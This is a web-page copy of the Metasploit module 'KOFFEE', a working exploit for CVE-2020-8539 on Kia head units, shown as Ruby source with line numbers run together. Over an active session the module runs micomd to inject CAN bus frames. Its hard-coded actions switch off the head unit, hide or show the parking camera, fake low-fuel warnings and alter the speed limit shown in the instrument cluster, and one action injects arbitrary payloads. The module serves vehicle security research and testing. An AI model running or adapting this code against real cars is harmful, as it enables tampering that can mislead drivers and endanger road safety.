Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/android/local/koffee.rb
Views: 11784
# frozen_string_literal: true12##3# This module requires Metasploit: https://metasploit.com/download4# Current source: https://github.com/rapid7/metasploit-framework5##67class MetasploitModule < Msf::Post89def initialize(info = {})10super(11update_info(12info,13'Name' => 'KOFFEE - Kia OFFensivE Exploit',14'Description' => %q{15This module exploits CVE-2020-8539, which is an arbitrary code execution vulnerability that allows an to16attacker execute the micomd binary file on the head unit of Kia Motors. This module has been tested on17SOP.003.30.18.0703, SOP.005.7.181019 and SOP.007.1.191209 head unit software versions. This module, run on an18active session, allows an attacker to send crafted micomd commands that allow the attacker to control the head19unit and send CAN bus frames into the Multimedia CAN (M-Can) of the vehicle.20},21'SessionTypes' => ['meterpreter'],22'Author' => [23'Gianpiero Costantino',24'Ilaria Matteucci'25],26'References' => [27['CVE', '2020-8539'],28['URL', 'https://sowhat.iit.cnr.it/pdf/IIT-20-2020.pdf']29],30'Actions' => [31[ 'TOGGLE_RADIO_MUTE', { 'Description' => 'It mutes/umutes the radio' } ],32[ 'REDUCE_RADIO_VOLUME', { 'Description' => 'It decreases the radio volume' } ],33[ 'MAX_RADIO_VOLUME', { 'Description' => 'It sets the radio volume to the max' } ],34[ 'LOW_SCREEN_BRIGHTNESS', { 'Description' => 'It decreases the head unit screen brightness' } ],35[ 'HIGH_SCREEN_BRIGHTNESS', { 'Description' => 'It increases the head unit screen brightness' } ],36[ 'LOW_FUEL_WARNING', { 'Description' => 'It pops up a low fuel message on the head unit' } ],37[ 'NAVIGATION_FULL_SCREEN', { 'Description' => 'It pops up the navigation app window' } ],38[ 'SET_NAVIGATION_ADDRESS', { 'Description' => 'It pops up the navigation address window' } ],39[ 'SEEK_DOWN_SEARCH', { 'Description' => 'It triggers the seek down radio frequency search' } ],40[ 'SEEK_UP_SEARCH', { 'Description' => 'It triggers the seek up radio frequency search' } ],41[ 'SWITCH_ON_HU', { 'Description' => 'It switches on the head unit' } ],42[ 'SWITCH_OFF_HU', { 'Description' => 'It switches off the head unit' } ],43[ 'CAMERA_REVERSE_ON', { 'Description' => 'It shows the parking camera video stream' } ],44[ 'CAMERA_REVERSE_OFF', { 'Description' => 'It hides the parking camera video stream' } ],45[ 'CLUSTER_CHANGE_LANGUAGE', { 'Description' => 'It changes the cluster language' } ],46[ 'CLUSTER_SPEED_LIMIT', { 'Description' => 'It changes the speed limit shown in the instrument cluster' } ],47[ 'CLUSTER_ROUNDABOUT_FARAWAY', { 'Description' => 'It shows a round about signal with variable distance in the instrument cluster ' } ],48[ 'CLUSTER_RANDOM_NAVIGATION', { 'Description' => 'It shows navigation signals in the instrument cluster ' } ],49[ 'CLUSTER_RADIO_INFO', { 'Description' => 'It shows radio info in the instrument cluster ' } ],50[ 'INJECT_CUSTOM', { 'Description' => 'It injects custom micom payloads' } ]51],52'DefaultAction' => 'TOGGLE_RADIO_MUTE',53'Platform' => 'Android',54'DisclosureDate' => '2020-12-02',55'License' => MSF_LICENSE,56'Notes' => {57'Stability' => [CRASH_SAFE],58'SideEffects' => [SCREEN_EFFECTS, CONFIG_CHANGES, IOC_IN_LOGS],59'Reliability' => []60}61)62)63register_options([64OptString.new('MICOMD', [true, 'Path to micomd executable', '/system/bin/micomd']),65OptString.new('PERIOD', [true, 'Time (ms) interval between two MICOM commands, aka Period of CAN frames', '0.200']),66OptInt.new('NUM_MSG', [true, 'Number of MICOM commands sent each time', '5']),67OptString.new('CMD_PAYLOAD', [ false, 'Micom payload to inject, e.g., cmd byte1 byte3 byte2', '00 00 00'], conditions: %w[ACTION == INJECT_CUSTOM]),68])69end7071def send_in(m_cmd)72cmd = "#{datastore['MICOMD']} -c inject #{m_cmd}"73cmd_exec(cmd)74print_good(' -- Command Sent -- ')75end7677def send_out(m_cmd)78cmd = "#{datastore['MICOMD']} -c inject-outgoing #{m_cmd}"79cmd_exec(cmd)80print_good(' -- Command Sent -- ')81end8283def send_custom(m_cmd)84cmd = "#{datastore['MICOMD']} -c inject #{m_cmd}"85var = 086while var < datastore['NUM_MSG'].to_s.to_i87cmd_exec(cmd)88var += 189print_status("> Sending #{var} out of #{datastore['NUM_MSG']}")90sleep(datastore['PERIOD'].to_s.to_f)91end92print_good(' -- Custom payload Sent-- ')93end9495def send_out_custom(m_cmd)96cmd = "#{datastore['MICOMD']} -c inject-outgoing #{m_cmd}"97var = 098while var < datastore['Num_msg'].to_s.to_i99cmd_exec(cmd)100var += 1101print_status("> Sending #{var} out of #{datastore['NUM_MSG']}")102sleep(datastore['PERIOD'].to_s.to_f)103end104print_good(' -- CAN bus frames sent-- ')105end106107def run108# all conditional options are required when active, make sure none of them are blank109options.each_pair do |name, option|110next if option.conditions.empty?111next unless Msf::OptCondition.show_option(self, option)112113fail_with(Failure::BadConfig, "The #{name} option is required by the #{action.name} action.") if datastore[name].blank?114end115print_status(' -- Starting action -- ')116send("action_#{action.name.downcase}")117end118119def action_toggle_radio_mute120print_status(' -- Mute/umute radio -- ')121send_in('8351 04')122end123124def action_reduce_radio_volume125print_status(' -- Reduce radio volume -- ')126send_out('0112 F4 01')127end128129def action_max_radio_volume130print_status(' -- Max radio volume -- ')131send_out('0112 F0')132end133134def action_low_screen_brightness135print_status(' -- Low screen brightness -- ')136send_in('8353 07 01')137end138139def action_high_screen_brightness140print_status(' -- High screen brightness -- ')141send_in('8353 07 00')142end143144def action_low_fuel_warning145print_status(' -- Low fuel warning -- ')146send_in('8353 0B 01')147end148149def action_navigation_full_screen150print_status(' -- Navigation windows full screen -- ')151send_in('8353 0C 01')152end153154def action_set_navigation_address155print_status(' -- Navigation address window pops up -- ')156send_in('8353 0D 03')157end158159def action_seek_down_search160print_status(' -- Seek down radio search -- ')161send_out('133 01')162end163164def action_seek_up_search165print_status(' -- Seek up radio search -- ')166send_out('133 02')167end168169def action_switch_on_hu170print_status(' -- Switch on Head unit -- ')171send_out('170 01')172end173174def action_switch_off_hu175print_status(' -- Switch off Head unit -- ')176send_out('170 00')177end178179def action_camera_reverse_on180print_status(' -- Parking camera video stream on -- ')181send_in('8353 03 01')182end183184def action_camera_reverse_off185print_status(' -- Parking camera video stream off -- ')186send_in('8353 03 00')187end188189def action_cluster_change_language190print_status(' -- Korean -- ')191send_out_custom('4D3 01')192print_status(' -- Arabic -- ')193send_out_custom('4D3 08')194print_status(' -- Polish -- ')195send_out_custom('4D3 0E')196print_status(' -- Italian -- ')197send_out_custom('4D3 12')198end199200def action_cluster_speed_limit201print_status(' -- Chaning speed limit on the instrument cluster -- ')202send_out_custom('4DB 00 0A')203send_out_custom('4DB 00 2A')204send_out_custom('4DB 00 3A')205send_out_custom('4DB 00 5A')206send_out_custom('4DB 00 7A')207send_out_custom('4DB 00 9A')208send_out_custom('4DB 00 AA')209send_out_custom('4DB 00 BA')210end211212def action_cluster_roundabout_faraway213print_status(' -- km -- ')214send_out_custom('4D1 66 00 00 00 14 86 10 00')215print_status(' -- mi -- ')216send_out_custom('4D1 66 00 00 00 14 86 20 00')217print_status(' -- ft -- ')218send_out_custom('4D1 66 00 00 00 14 86 30 00')219print_status(' -- yd -- ')220send_out_custom('4D1 66 00 00 00 14 86 40 00')221print_status(' -- No distance -- ')222send_out_custom('4D1 66 00 00 00 14 86 50 00')223end224225def action_cluster_random_navigation226print_status(' -- Calculating the route -- ')227send_out_custom('4D1 09')228print_status(' -- Recalculating the route -- ')229send_out_custom('4D1 0A')230print_status(' -- Straight ahead -- ')231send_out_custom('4D1 0D')232print_status(' -- Exit on the Right -- ')233send_out_custom('4D1 13')234print_status(' -- Exit on the Left -- ')235send_out_custom('4D1 14')236end237238def action_cluster_radio_info239print_status(' -- USB Music -- ')240send_out_custom('4D6 65')241print_status(' -- Android Auto -- ')242send_out_custom('4D6 6F')243print_status(' -- FM 168.17 -- ')244send_out_custom('4D6 11 9D 00 00 00 00 5F 83')245print_status(' -- FM1 168.17 -- ')246send_out_custom('4D6 12 9D 00 00 00 00 5F 83')247print_status(' -- FM2 168.17 -- ')248send_out_custom('4D6 13 9D 00 00 00 00 5F 83')249end250251def action_inject_custom252print_status(" -- Injecting custom payload (#{datastore['CMD_PAYLOAD']}) -- ")253send_custom(datastore['CMD_PAYLOAD'])254end255end256257258